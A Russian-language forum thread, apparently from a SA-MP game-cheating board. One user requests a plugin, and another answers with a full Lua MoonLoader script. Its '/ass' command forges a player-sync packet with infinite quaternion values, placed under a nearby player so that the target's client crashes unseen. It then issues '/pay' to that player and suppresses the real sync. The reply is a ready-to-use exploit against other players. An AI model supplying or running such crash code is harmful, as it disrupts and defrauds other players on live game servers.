Хочу подобный плагин

Rejeni

Активный
Автор темы
233
82
Ищу такой же плагин, только команду /kiss изменить на /pay id money.
1603277777592.png
 

Вложения

  • The ass of death.sf
    148 KB · Просмотры: 4

damag

Женюсь на официантке в моем любимом баре
Проверенный
1,152
1,194
Lua:
local hook = require'samp.events'
local sync = false

function main()
    repeat wait(0) until isSampAvailable()
    sampRegisterChatCommand("ass", function(param)
        pID = tonumber(param)
        if not pID then return sampAddChatMessage("Введите: /ass [PLAYER-ID]", -1) end
        if isCharInAnyCar(1) then return sampAddChatMessage("Вы должны быть на ногах!", -1) end
        local _, ped = sampGetCharHandleBySampPlayerId(pID)
        if _ then
            local px, py, pz = getCharCoordinates(ped)
            local mx, my, mz = getCharCoordinates(1)
            print(getDistanceBetweenCoords3d(mx, my, mz, px, py, pz))
            if getDistanceBetweenCoords3d(mx, my, mz, px, py, pz) < 20 then
                lua_thread.create(function()
                    sync = true
                    local data = samp_create_sync_data("player")
                    data.position = {px, py, pz - 2} -- чисто чтоб игрок нас не увидел при краше
                    data.quaternion[0] = 1/0
                    data.quaternion[3] = 1/0
                    data.send()
                    wait(5)
                    sampSendChat('/pay '..pID.. " 1")
                    sync = false
                end)
            else
                sampAddChatMessage("Вы далеко от игрока!", -1)
            end
        end
    end)
    wait(-1)
end

function hook.onSendPlayerSync(data)
    if sync then
        return false
    end
end

function hook.onSetPlayerPos(position)
    if sync then
        return false
    end
end


function samp_create_sync_data(sync_type, copy_from_player)
    local ffi = require 'ffi'
    local sampfuncs = require 'sampfuncs'
    -- from SAMP.Lua
    local raknet = require 'samp.raknet'
    require 'samp.synchronization'

    copy_from_player = copy_from_player or true
    local sync_traits = {
        player = {'PlayerSyncData', raknet.PACKET.PLAYER_SYNC, sampStorePlayerOnfootData},
        vehicle = {'VehicleSyncData', raknet.PACKET.VEHICLE_SYNC, sampStorePlayerIncarData},
        passenger = {'PassengerSyncData', raknet.PACKET.PASSENGER_SYNC, sampStorePlayerPassengerData},
        aim = {'AimSyncData', raknet.PACKET.AIM_SYNC, sampStorePlayerAimData},
        trailer = {'TrailerSyncData', raknet.PACKET.TRAILER_SYNC, sampStorePlayerTrailerData},
        unoccupied = {'UnoccupiedSyncData', raknet.PACKET.UNOCCUPIED_SYNC, nil},
        bullet = {'BulletSyncData', raknet.PACKET.BULLET_SYNC, nil},
        spectator = {'SpectatorSyncData', raknet.PACKET.SPECTATOR_SYNC, nil}
    }
    local sync_info = sync_traits[sync_type]
    local data_type = 'struct ' .. sync_info[1]
    local data = ffi.new(data_type, {})
    local raw_data_ptr = tonumber(ffi.cast('uintptr_t', ffi.new(data_type .. '*', data)))
    -- copy player's sync data to the allocated memory
    if copy_from_player then
        local copy_func = sync_info[3]
        if copy_func then
            local _, player_id
            if copy_from_player == true then
                _, player_id = sampGetPlayerIdByCharHandle(PLAYER_PED)
            else
                player_id = tonumber(copy_from_player)
            end
            copy_func(player_id, raw_data_ptr)
        end
    end
    -- function to send packet
    local func_send = function()
        local bs = raknetNewBitStream()
        raknetBitStreamWriteInt8(bs, sync_info[2])
        raknetBitStreamWriteBuffer(bs, raw_data_ptr, ffi.sizeof(data))
        raknetSendBitStreamEx(bs, sampfuncs.HIGH_PRIORITY, sampfuncs.UNRELIABLE_SEQUENCED, 1)
        raknetDeleteBitStream(bs)
    end
    -- metatable to access sync data and 'send' function
    local mt = {
        __index = function(t, index)
            return data[index]
        end,
        __newindex = function(t, index, value)
            data[index] = value
        end
    }
    return setmetatable({send = func_send}, mt)
end
 
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